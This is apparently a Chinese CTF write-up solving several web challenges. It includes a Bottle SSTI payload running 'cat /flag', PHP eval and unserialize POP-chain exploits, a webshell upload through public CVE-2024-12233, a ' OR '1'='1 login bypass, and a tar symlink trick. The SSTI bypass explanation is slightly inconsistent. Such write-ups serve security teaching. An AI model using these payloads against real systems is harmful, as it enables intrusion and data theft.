难过的bottle
一个zip文件上传器,附录中有python源码,Bottle是一个基于python的web框架。
在/view/<dir_hash>/<filename>路由中,代码执行了return template(content)—— 将读取到的文件内容直接作为 Bottle 模板渲染。
@route('/view/<dir_hash>/<filename:path>')
def view_file(dir_hash, filename):
file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
if not os.path.exists(file_path):
return "文件不存在"
if not os.path.isfile(file_path):
return "请求的路径不是文件"
real_path = os.path.realpath(file_path)
if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
return "非法访问尝试"
try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except:
try:
with open(file_path, 'r', encoding='latin-1') as f:
content = f.read()
except:
return "无法读取文件内容(可能是二进制文件)"
if contains_blacklist(content):
return "文件内容包含不允许的关键词"
try:
return template(content)
except Exception as e:
return f"渲染错误: {str(e)}"
Bottle的模板引擎支持python代码执行{{...}}内的内容。上传内容{{7*7}}的文本压缩后的zip,回显49

由此可以判断存在ssti模板注入漏洞
但是黑名单过滤了除f l a g以外的常见字符
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
但是都只过滤了半角字符,可以用全角字符绕过(占用两个字符宽度),python解释器可以识别。
payload:{{__import__(chr(111)+chr(115)).popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)).read()}}
转化后:{{_import_(os).popen("cat /flag").read()}}
将其保存为文本文件解压为.zip后上传得到flag

ezrce
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code = $_GET['code'];
if (preg_match('/^[A-Za-z\(\)_;]+$/', $code)) {
eval($code);
}else{
die('师傅,你想拿flag?');
}
}
正则表达式只允许包含A-Z a-z ( ) _ ;
?code=var_dump(getcwd()); //获取当前路径

?code=chdir(dirname(dirname(dirname(getcwd()))));var_dump(scandir(getcwd())); //跳到根目录,并列出根目录下所有文件

这里我们看到第7个文件是flag,因为正则不允许出现引号,利用php的无引号字符串特性
简单来说就是php会将未定义常量当作字符串'flag'来处理
?code=chdir(dirname(dirname(dirname(getcwd()))));print_r(file_get_contents(flag)); //输出flag的值

来签个到吧
附件的index.php中shark的值只接受以biueshark:为前缀的post数据,并对$ss进行反序列化
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$s = $_POST["shark"] ?? '喵喵喵?';
if (str_starts_with($s, "blueshark:")) {
$ss = substr($s, strlen("blueshark:"));
$o = @unserialize($ss);
$p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
$p->execute([$ss]);
echo "save sucess!";
exit(0);
} else {
echo "喵喵喵?";
exit(1);
}
}
后续会查询会主动查询并展示该表中最新的 10 条记录
$q = $db->query("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10");
$rows = $q->fetchAll(PDO::FETCH_ASSOC);
而从config.php可知数据库是 SQLite,且 notes 表有一个 id 字段:
<?php
define('DB_FILE', '/tmp/notehub.db');
if (!file_exists(DB_FILE)) {
$db = new PDO('sqlite:' . DB_FILE);
$db->exec("CREATE TABLE notes (id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT)");
} else {
$db = new PDO('sqlite:' . DB_FILE);
}
查看classes.php,
链子:ShitMountant::__destruct() → fetch() → file_get_contents($this->url)
<?php
// 复制 classes.php 中的 ShitMountant 和 FileLogger 类(保证类结构完全一致)
class FileLogger {
public $logfile = "/tmp/notehub.log";
public $content = "";
public function __construct($f=null) {
if ($f) {
$this->logfile = $f;
}
}
public function write($msg) {
$this->content .= $msg . "\n";
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
public function __destruct() {
if ($this->content) {
file_put_contents($this->logfile, $this->content, FILE_APPEND);
}
}
}
class ShitMountant {
public $url;
public $logger;
public function __construct($url) {
$this->url = $url;
$this->logger = new FileLogger();
}
public function fetch() {
$c = file_get_contents($this->url);
if ($this->logger) {
$this->logger->write("fetched ==> " . $this->url);
}
return $c;
}
public function __destruct() {
$this->fetch();
}
}
// 关键:创建 ShitMountant 对象,$url 设为 "file:///flag"(读取本地 /flag 文件)
$malicious_obj = new ShitMountant("file:///flag");
// 序列化对象,生成 payload
$serialized_str = serialize($malicious_obj);
// 输出结果(用于后续提交)
echo "序列化字符串:\n";
echo $serialized_str . "\n\n";
echo "最终提交的 shark 字段值:\n";
echo "blueshark:" . $serialized_str;
?>
shark的值:blueshark:O:12:"ShitMountant":2:{s:3:"url";s:12:"file:///flag";s:6:"logger";O:10:"FileLogger":2:{s:7:"logfile";s:16:"/tmp/notehub.log";s:7:"content";s:0:"";}}
上传成功

回头再看api.php,会查询数据库中存储的序列化字符串,它接受id的值,主动反序列化 notes 表中的 content 字段,若对象是 ShitMountant 类,会直接调用 fetch() 并输出返回值(也就是 Flag)
<?php
require_once "./config.php";
require_once "./classes.php";
$id = $_GET["id"] ?? '喵喵喵?';
$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
$s->execute([$id]);
$row = $s->fetch(PDO::FETCH_ASSOC);
if (! $row) {
die("喵喵喵?");
}
$cfg = unserialize($row["content"]);
if ($cfg instanceof ShitMountant) {
$r = $cfg->fetch();
echo "ok!" . "<br>";
echo nl2br(htmlspecialchars($r));
}
else {
echo "喵喵喵?";
}
?>
回头刷新最初的页面,我们可以看到上传的id的值

再次访问/api.php?id=2,可以获得flag

b@by n0t1ce b0ard
在https://www.cve.org/CVERecord?id=CVE-2024-12233可以找到一个链接:https://github.com/LamentXU123/cve/blob/main/RCE1.md
是这个 CVE 已经公开的利用脚本
在/registration.php中上传头像时对文件上传没有任何限制,可以上传php文件到/images/{USER-EMAIL}/{UPLOAD_FILENAME},上传成功后蚁剑直接连接可以获得flag
flag到底在哪
访问/robots.txt找到一个登陆界面 /admin/login.php
sql注入,账号是admin,密码是' OR '1'='1
跳转到/upload.php同样对上传的文件没有任何限制,成功后,蚁剑直接连接可以得到flag
Flag? 我就借走了
软链接攻击
ln -s /flag hack
创建一个一个名为hack的软链接文件,该文件指向系统中的/flag文件
tar -cvf exp.tar hack
将当前目录下名为hack的文件(软链接)打包成一个名为exp.tar的 tar 归档文件,并在打包过程中显示详细的文件信息
上传后,会出现hack的目录,点击就是flag

被折叠的 条评论
为什么被折叠?



